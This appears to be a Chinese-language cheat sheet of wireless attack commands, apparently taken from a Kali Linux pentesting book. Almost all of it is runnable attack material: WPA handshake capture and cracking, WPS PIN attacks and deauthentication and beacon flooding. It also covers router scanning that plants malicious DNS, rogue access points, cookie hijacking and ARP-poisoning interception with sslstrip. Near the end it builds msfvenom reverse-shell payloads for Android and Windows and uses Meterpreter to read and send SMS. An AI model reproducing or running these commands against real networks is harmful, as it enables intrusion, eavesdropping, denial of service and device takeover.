# 生成PMKs数据 echo Test | airolib-ng testdb --import essid - # 创建数据库,并向数据库中插入ESSID和密码 echo daxueba! | airolib-ng testdb --import passwd - # 向testdb数据库中插入一个密码 airolib-ng testdb --batch # 批量生成PMK数据 airolib-ng testdb --stats # 查看数据库的状态 # 管理PMKs数据 airolib-ng testdb --import essid ssidlist.txt # 导入ssidlist.txt文件中的ESSID到数据库 airolib-ng testdb --import passwd password.txt # 导入password.txt文件中的密码到数据库 airolib-ng testdb --verify # 校验数据 airolib-ng testdb --clean # 数据清理 # 捕获握手包 airmon-ng start wlan0 # 设置无线网卡为监听模式 airodump-ng wlan0mon # WPA/WPA2加密的目标无线网络 airodump-ng -w wpa --bssid 70:85:40:53:E0:3B -c 8 wlan0mon # 指定目标AP,并将捕获的握手包保存到前缀为的wpa文件中 aireplay-ng -0 1 -a 70:85:40:53:E0:3B -c 1C:77:F6:60:F2:CC wlan0mon # 实施死亡攻击 wpaclean out.cap client.pcap # 提取握手包 wifite -check wpa-01.cap # 验证捕获文件中是否成功捕获了握手包 # 合并握手包数据 besside-ng-crawler /root handshake.cap # 从/root目录中搜索握手包,并将找到的保存到handshake.cap文件中 aircrack-ng -w passwords.txt wpa-01.cap # 暴力破解密码,并指定密码字典为passwords.txt # 破解密码 wifite --wpa --dict passwords.txt # 暴力破解WPA加密网络 --wpa # 仅扫描WPA加密的网络,包括WPS --pmkid # 仅使用PMKID捕获,避免其他WPS和WPA攻击 --new-hs # 捕获新的握手包,忽略已存在的握手包 --dict[file] # 指定密码字典,默认使用的字典为/usr/share/dict/wordlist-top4800-probable.txt。 genpmk -f /root/passwords.txt -d cowpatty -s CU_655w # 生成预运算Hash表,并保存到cowpatty文件中 -f[dict] # 指定一个密码字典 -d[hash_file] # 指定生成的Hash文件 -s[ESSID] # 指定AP的名称 cowpatty -f /root/cowpatty -r wpa-01.cap -s CU_655w # 离线破解WPA/WPA2密码 -f # 指定使用genpmk生成的哈希文 -r # 指定捕获文 -s # 指定目标AP的名 pyrit -r wpa-01.cap -i passwords.txt -b 70:85:40:53:E0:3B attack_passthrough # 离线破解WPA/WPA2密码 -r # 指定捕获到的握手包文件 -i # 指定读取的密码文件 -b # 目标AP的MAC地址 ttack_passthrough # 计算PMKs并将结果写入一个文件中 aircrack-ng wpa-01.cap -j test # 将捕获文件wpa-01.cap转换为hccapx格式 hashcat -m 2500 test.hccapx passwords.txt --force # 实施破解 -m # 指定使用的哈希类型 --force # 忽略警告信息 # 使用PIN获取密码 reaver -i wlan0mon -b 14:E6:E4:84:23:7A -vv -p 98874019 # 快速破解AP的密码 -i[interface] # 指定监听的网络接口 -b[BSSID] # 目标AP的MAC地址 -vv # 显示详细信息 -p[PIN] # 使用指定的PIN码尝试破解出密码 bully -b 14:E6:E4:84:23:7A -c 6 -v 3 -A -C -E -F --pin 98874019 wlan0mon # 破解PIN码为98874019的AP密码 -b[BSSID] # 指定目标AP的MAC地址 -c[channel] # 指定目标AP工作的信道 -v[N] # 指定冗余级别 -A # 禁止ACK检测 -C # 跳过CRC/FCS验证 -E # 通过EAP失败终止数据交换 -F # 忽略警告信息 pwgen [option] [pw_length] [num_pw] # 构建复杂密码 -c,--capitalize # 生成的密码至少包含一个大写字母 -A,--no-capitalize # 生成的密码不包含大写字母 -n,--numerals # 生成的密码至少包含一个数字 -0,--numerals # 生成的密码中不包含数字 -y,--symbols # 生成的密码中至少包含一个特殊符号 -s,--secure # 生成完全随机密码 -B,--ambiguous # 生成的密码中不包含歧义字符,如O、0 -H,--sha1=path/to/file[#seed] # 使用SHA1hash给定的文件作为一个随机种子 -C, # 在列中显示生成的密码 -1, # 不要在列中显示生成的密码,即一行一个密码 -v,--no-vowels # 不要使用任何元音,以避免出现不明确的单词
-
-
攻击无线AP:一个无线网络主要由AP(无线路由器)和客户端两部分构成。如果已经获取AP访问权限,可以进一步对设备进行渗透。如果无法破解AP的密码,则可以尝试攻击AP本身,如实施拒绝服务攻击等。
# 破解AP的默认账户:对于每个路由器,默认都有初始登录用户名和密码,一般在路由器的背面可以看到。其中,用户名往往无法修改。如果渗透测试者获取到该用户的密码,则可以登录到路由器的管理网页控制路由器,并且可以利用这个弱点来攻击无线AP。 git https://github.com/sh1nu11bi/Routerhunter-2.0.git Routerhunter [option] # 实施路由器漏洞扫描 -range 192.168.1.0-255,--range 192.168.1.0-255 # 定义需要扫描的IP地址范围。 -bruteforce,--bruteforce # 暴力破解需要认证的路由器,迫使这些路由器修改DNS。 -startip 192.168.*.*,--startip 192.168.*.* # 使用掩码定义开始的IP地址范围。 -endip 192.168.*.*,--endip 192.168.*.* # 使用掩码定义结束的IP地址范围。 -dns18.8.8.8,--dns18.8.8.8 # 定义第一个恶意的DNS1。 -dns28.8.4.4,--dns28.8.4.4 # 定义第二个恶意的DNS2。 --threads 10 # 设置请求线程数目。 -rip,--randomip # 随机定义网络上的路由器IP。 -lmtip 10,--limitip 10 # 定义一定数目的任意IP地址。 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10 python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10-dns28.8.4.8-rip-lmtip 10--threads 10 # 扫描任意IP的路由器漏洞 medusa -h <host> -u/-U <username> -p/-P <password> -M http -e ns 80 -F # 暴力破解AP密码 -h # 指定AP的地址 -u # 指定测试的用户名 -U # 指定测试的用户列表 -p # 指定测试的密码 -P # 指定测试的密码列表 -M # 指定使用的模块 -e ns # 尝试空密码 -F # 当找到一个有效的密码后,停止暴力破解 # 认证洪水攻击:认证洪水攻击全称为Authentication Flood Attack,即身份验证洪水攻击,通常简称为Auth攻击,也是无线网络拒绝服务攻击的一种形式。该攻击目标主要针对那些通过验证和AP建立关联的关联客户端。攻击者向AP发送大量伪造的身份验证请求帧,当AP收到大量伪造的身份验证请求而超过所能承受的能力时,它将断开其他无线服务连接。本节将介绍验证洪水攻击的原理及实施方法。 # 攻击原理:验证洪水攻击的具体工作流程如下: # 1. 确定当前无线网络中,客户端与AP已经建立了连接。一般情况下,所有无线客户端的连接请求都会被AP记录在连接表中。 # 2. 攻击者使用一些看起来合法但其实是随机生成的MAC地址来伪造工作站。然后,攻击者就可以发送大量的虚假连接请求到AP。 # 3. 攻击者对AP进行持续且大量的虚假连接请求,最终导致AP失去响应,使得AP的连接列表出现错误。 # 4. 由于AP的连接表出现错误,使得连接的合法客户端强制与AP断开连接。 # 5. 提示:通常情况下,一个AP最多允许16个客户端连接到其无线网络中。 mdk3 <interface> a <test_options> # 实施验证洪水攻击 interface # 指定用于攻击的网络接口。注意这里的接口是监听模式的接口。 a # 实施身份验证洪水攻击。 -s<pps> # 设置包的速率,默认是无限制的。 -a<ap_mac> # 指定目标AP的MAC地址。 -m # 使用有效数据库中的客户端MAC地址。 -c # 对应-a,不检测是否测试成功。 -i<ap_mac> # 对指定BSSID进行攻击(-a和-c选项将被忽略)。 airmon-ng start wlan0 # 设置无线网卡为监听模式 airodump-ng wlan0mon # 扫描周围的AP,选择要攻击的目标 mdk3 wlan0mon a -a 14:E6:E4:84:23:7A -m -c # 将对Test无线网络实施认证洪水攻击 # 取消认证洪水攻击:取消认证洪水攻击的英文全称为De-authentication Flood Attack,即取消身份验证洪水攻击或验证阻断洪水攻击,通常简称为Deauth攻击,是无线网络拒绝服务攻击的一种形式。该攻击方式主要是通过伪造AP向客户端单播地址发送取消身份验证帧,将客户端转为未关联/未认证的状态。本节将介绍取消验证洪水攻击的原理及实施方法。 # 攻击原理:取消验证洪水攻击的工作流程如下: # 1. 确定当前无线网络中客户端与AP已经建立了连接。 # 2. 攻击者向整个网络发送伪造的取消身份验证报文,从而阻断了合法用户和AP之间的连接。 # 3. 当客户端收到攻击者发送的报文时,会认为该报文来自于AP。此时,客户端将试图与AP重新建立连接。 # 4. 攻击者仍然继续向信道中发送取消身份验证帧,将导致客户端与AP始终无法重连,即已连接的客户端自行断开连接。 mdk3 <interface> d <test_options> # 取消验证洪水攻击 interface # 指定用于攻击的网络接口。注意这里的接口是监听模式接口。 d # 实施取消身份验证洪水攻击。 -s<pps> # 设置包的速率,默认是无限制的。 -c<chan> # 指定攻击的无线信道。MDK3默认将在所有信道(14b/g)之间跳转,每5秒一次 airmon-ng start wlan0 # 设置无线网卡为监听模式 mdk3 wlan0mon d -s 120 -c 1,6,11 # 实施取消验证洪水攻击 # 假信标(Fake Beacon)洪水攻击 mdk3 <interface> b <test_option> # 实施Fake Beacon洪水攻击 -n<ssid> # 自定义ESSID -f<filename> # 读取ESSID列表文件 -v<filename> # 自定义ESSID和BSSID对应的列表文件 -d # 自定义为Ad-Hoc模式 -w # 自定义为WEP模式 -g # 自定义为54Mbit模式 -t # 使用WPA TKIP加密 -a # 使用WPA ASE加密 -m # 读取数据库的MAC地址 -c<chan> # 自定义信道 -s<pps> # 自定义包的速率,默认为50 mdk3 wlan0mon b -w -g -t -m -c 6 # 随机产生的SSID实施Fake Beacon洪水攻击
-
攻击客户端:如果渗透测试者无法成功攻击AP的话,则可以通过使用伪AP的方式来攻击客户端。通过使客户端连接到伪AP,即可监听客户端的数据、劫持会话及控制客户端等。
# 伪AP apt-get install isc-dhcp-server -y vi /etc/dhcp/dhcpd.conf # 修改配置DHCP服务的网络信息 ddns-update-style none; # 动态DNS更新模式 authoritative; default-lease-time 600; # DHCP租约时间 max-lease-time 7200; # DHCP最大租约时间 subnet 192.168.2.0 netmask 255.255.255.0 { # DHCP服务用于分配地址的网段 range 192.168.2.100 192.168.2.200; # 地址池 option subnet-mask 255.255.255.0; # 子网掩码 option routers 192.168.2.1; # 默认网关 option broadcast-address 192.168.2.255; # 广播地址 option domain-name-servers 192.168.2.1; # DNS服务器的地址 } vi /etc/default/isc-dhcp-server # 修改监听的网络接口 INTERFACESv4="wlan0" # IPv4网络接口 INTERFACESv6="" # IPv6网络接口 ifconfig wlan0 192.168.2.1/24 ifconfig wlan0 service isc-dhcp-server start service isc-dhcp-server status netstat -anptul | grep dhcp apt-get install hostapd -y # 能够使无线网卡切换为Master模式,模拟AP功能 # 创建WEP加密的伪AP airodump-ng wlan0mon # 创建WEP加密的伪AP vi /etc/hostapd/hostapd-wep.conf # 创建WEP加密的伪AP配置文件 interface=wlan0 # 无线网络接口名称 ssid=Test # 伪AP的SSID名称 channel=1 # 伪AP工作信道 hw_mode=g # 硬件模式 wep_default_key=0 # 默认选择使用的密码。用户可以设置多个密码,使用该参数指定 wep_key0="abcde" # 伪AP的加密密码 hostapd /etc/hostapd/hostapd-wep.conf airodump-ng wlan0mon vi /etc/hostapd/iptables.sh # 通过创建Iptables规则来启用包转发,否则客户端虽然能够连接到伪AP iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT sysctl -w net.ipv4.ip_forward=1 sh /etc/hostapd/iptables.sh # 创建WPA加密的伪AP vi /etc/hostapd/hostapd-wpa.conf interface=wlan0 # 无线网络接口 ssid=WPA # 伪AP的SSID名称 channel=6 # 伪AP的工作信道 hw_mode=g # 硬件模式 wpa=1 # 支持的方式,该参数的值可以为1、2或3。其中,1表示仅支持WPA1;2表示仅支持WPA2;3表示两者都支持 wpa_passphrase=12345678 # 伪AP的加密密码 wpa_key_mgmt=WPA-PSK # 认证类型 wpa_pairwise=TKIP # 加密算法 hostapd /etc/hostapd/hostapd-wpa.conf -B # 创建WPA2加密的伪AP vi /etc/hostapd/hostapd-wpa2.conf interface=wlan0 # 无线网络接口 ssid=WPA2 # 伪AP的SSID名称 channel=6 # 伪AP工作信道 hw_mode=g # 硬件模式 wpa=2 # 仅支持WPA2 wpa_passphrase=12345678 # 伪AP的密码 wpa_key_mgmt=WPA-PSK # 认证类型 rsn_pairwise=CCMP hostapd /etc/hostapd/hostapd-wpa2.conf -B # 强制客户端连接到伪AP mdk3 wlan0mon d -s 120 -c 1 # 对目标AP实施取消认证洪水攻击,即可强制使客户端与AP断开连接 # 劫持会话 apt-get install owasp-mantra-ff # 安装OWASP Mantra浏览器 # 使用Tamper Data插件劫持会话。下面将以访问目标网站kali.daxueba.net网站为例,来劫持并修改会话。具体操作步骤如下: # (1)使用Wireshark工具捕获数据包,以获取客户端访问kali.daxueba.net网站的Cookie信息。启动Wireshark工具,将显示如图11.6所示的窗口。 # (2)在其中选择接口wlan0,并单击开始捕获分组按钮将开始捕获数据包。接下来,在连接伪AP的客户端访问并登录kali.daxueba.net网站,使Wireshark工具捕获到对应的数据包,如图11.7所示。 # (3)在捕获文件中找出访问kali.daxueba.net网站的数据包,以获取Cookie信息。为了快速找到需要的包,这里使用显示过滤器http.host==kali.daxueba.net进行过滤,结果如图11.8所示。 # (4)其中显示了所有匹配的数据包。此时,任意选择一个数据包,在包详细信息面板即可看到访问的主机名和Cookie信息。此时,右击Cookie信息,在弹出的快捷菜单中依次选择“复制”|“值”命令,即可复制数据包的Cookie信息,如图11.9所示。 # (5)启动OWASP Mantra浏览器。在浏览器中依次选择Tools|Application Auditing|Tamper Data命令,启动Tamper Data插件。成功启动后,将显示如图11.10所示的窗口。 # (6)此时,Tamper Data插件已启动。接下来,在浏览器中访问kali.daxueba.net网站。访问成功后,将显示如图11.11所示的网页。 # (7)看到该页面,则表示成功访问到目标网站。但是目前没有成功登录该站点。接下来,通过使用Tamper Data插件修改Cookie信息,即可以目标客户端身份登录该站点。在Tamper Data插件的菜单栏中单击Start Tamper按钮,将启动篡改功能。此时,重新请求kali.daxueba.net网站,将弹出一个篡改请求对话框,如图11.12所示。 # (8)从该对话框中可以看到成功拦截到了客户端提交的请求。接下来,修改提交的参数值。这里首先去掉“Continue Tampering?”复选框中的对勾,并单击Tamper按钮,将显示如图11.13所示的对话框。 # (9)从该对话框的左侧栏中可以看到请求的头部信息,如Host、User-Agent、Cookie。这里将修改该Cookie信息。首先将Cookie文本框中默认的信息删除,然后粘贴前面从捕获文件中复制的Cookie值。成功修改Cookie值后,单击OK按钮,浏览器将重新提交用户的请求。提交成功后,将显示如图11.14所示的窗口。 # (10)从该网页可以看到,成功登录到了kali.daxueba.net网站。由此可以说明,使用Tamper Data插件成功拦截并修改了会话信息,即劫持会话成功。 # 监听数据 # 实施中间人攻击 ettercap -G # 启动Ettercap工具 # (2)该窗口是Ettercap工具的初始界面。在菜单栏中依次选择Sniff|Unified sniffing命令或按下Shift+U键,如图11.16所示的窗口。 # (3)从显示的菜单栏中可以看到,提供了UNIFIED和BRIDGED两种嗅探方式。其中,UNIFIED方式是以中间人方式嗅探;BRIDGED方式(这种方式在实际应用中不常用)是在双网卡情况下,嗅探两块网卡之间的数据包。这里选择使用UNIFIED方式实施中间人攻击。因此,在该窗口选择Unified sniffing命令,将弹出如图11.17所示的对话框。 # (4)在其中选择网络接口。这里选择wlan0,然后单击“确定”按钮,将显示如图11.18所示的窗口。 # (5)启动接口后,就可以扫描所有的活动主机了。在菜单栏中依次选择Hosts|Scan for hosts命令或按Ctral+S键,如图11.19所示。 # (6)在该窗口单击Scan for hosts命令后,将显示如图11.20所示的窗口。 # (7)从输出的信息可以看到共扫描到两台主机。如果要查看扫描到主机的信息,在菜单栏中依次选择Hosts|Hosts list命令或按下H键,如图11.21所示。 # (8)之后将显示如图11.22所示的主机信息。 # (9)Host List选项卡显示了扫描到的两台主机的IP地址和MAC地址。在该选项卡中,选择目标主机实施攻击。这里选择192.168.2.100作为目标。所以,选择192.168.2.100,并单击Add to Target 1按钮。成功添加目标后,将会在命令提示框显示,如图11.23所示。 # (10)成功添加目标后,即可启动捕获目标主机的数据包。在菜单栏中依次选择Start|Start sniffing命令或按Ctrl+W键,如图11.24所示。 # (11)此时,即可实施ARP欺骗,进而捕获到目标主机与网络之间通信的数据。在菜单栏中依次选择Mitm|ARP poisonig命令,如图11.25所示。 # (12)之后将弹出如图11.26所示的对话框。从中可以看到,有两种欺骗方式,分别是Sniff remote connections和Only poison one-way。其中,Sniff remote connections方式可以嗅探到两个方向(前面指定的两个目标)的所有数据;Only poison one-way方式仅欺骗一个方向。所以,这里选择Sniff remote connections方式。然后单击“确定”按钮,将显示如图11.27所示的窗口。 # (13)此时,当客户端与其他主机进行通信时,则发送的数据将被监听到。想要停止嗅探,则在菜单栏中依次单击Start|Stop sniffing命令,如图11.28所示。 # (14)停止嗅探后,还需要停止中间人攻击。在菜单栏中依次选择Mitm|Stop mitm attack(s)命令,将显示如图11.29所示的对话框。 # (15)单击“确定”按钮,这样就成功地完成了中间人攻击。 # 监听HTTPS数据 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # 设置转发 sslstrip -l 10000 # 监听HTTPS数据 tail -n 10 sslstrip.log # 控制目标主机 msfvenom [option] # 创建恶意的攻击载荷 -p|--payload<payload name> # 指定使用的payload攻击载荷 --payload-options # 列出Payload的标准选项 -l|--list<module type> # 列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all -n|--nopsled<length> # 指定生成的攻击载荷长度 -f|--format<format> # 指定生成的攻击载荷格式 -e|--encoder<encoder> # 使用的编码方式 -a|--arch<arch> # 使用的架构 --platform<platform> # 使用的平台 -s|--space<length> # 生成攻击载荷的最大尺寸 -b|--bad-chars<stringlist> # 指定需要规避的字符列表,如:'\x00\xff' -i|--iterations<count> # 指定进行编码的次数 -c|--add-code<path> # 指定一个额外的win32shellcode文件 -x|--template<path> # 指定一个自定义的可执行文件作为模板使用 -k|--keep # 配置攻击载荷在一个独立的线程中启动 -o|--out # 保存攻击载荷 -v|--var-name<name> # 指定用于某些输出格式的自定义变量名称 --smallest # 尽可能生成最小的攻击载荷 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.1 # 创建一个用于攻击Android设备的攻击载荷。其中,生成的攻击载荷文件为android.apk apt-get install zipalign keytool [option] # 创建秘钥库 -genkey # 在用户主目录中创建一个默认文件“.keystore”,还会产生一个mykey的别名。mykey中包含用户的公钥、私钥和证书。 -alias # 产生别名。 -keystore # 指定秘钥库的名称(产生的各类信息将不在.keystore文件中)。 -keyalg # 指定密钥的算法,如RSA和DSA。如果不指定的话,默认使用DSA。 -validity # 指定创建的证书有效期多少天,默认为90天。 -keysize # 指定秘钥长度。 -storepass # 指定秘钥库的密码(获取keystore信息所需的密码)。 keypass # 指定别名条目的密码(私钥的密码)。 -dname # 指定证书拥有者信息。例如:"CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名称,ST=州或省份名称,C=单位的两字母国家代码"。 -list # 显示密钥库中的证书信息。 -export # 将别名指定的证书导出到文件。 -file # 参数指定导出到文件的文件名。 -delete # 删除密钥库中的某条目。 -printcert # 查看导出的证书信息。 -keypasswd # 修改密钥库中指定条目的口令。 -storepasswd # 修改keystore口令 -import # 将已签名数字证书导入密钥库。 keytool -genkey -v -keystore /root/key.keystore -alias android -keyalg RSA -keysize 2048 -validity 365 -storepass 123456 -dname "CN=Android,OU=Google,O=Google,L=IL,ST=NY,C=US" # 创建秘钥库 jarsigner [option] <jarfilename> # 签名APK -verbose # 签名/验证时输出详细信息 -sigalg # 签名算法的名称 -digestalg # 摘要算法的名称 -keystore # 秘钥库位置 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/android.apk android jarsigner -verify -verbose -certs /root/android.apk # 验证签名 zipalign -v 4 /root/android.apk /root/Android.apk # 验证并重新保存 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.2.1 LPORT=443 -f exe > payload.exe # 创建一个Windows下可执行的攻击载荷 # 使用攻击载荷 msfconsole use exploit/multi/handler # 选择反向监听模块 set payload android/meterpreter/reverse_tcp set LHOST 192.168.2.1 exploit sysinfo ifconfig check_root # 检测当前设备是否被Root了 dump_sms # 获取当前设备收到的短信 send_sms -d +8613111152921 -t "test message" # 使用当前设备发送一个短信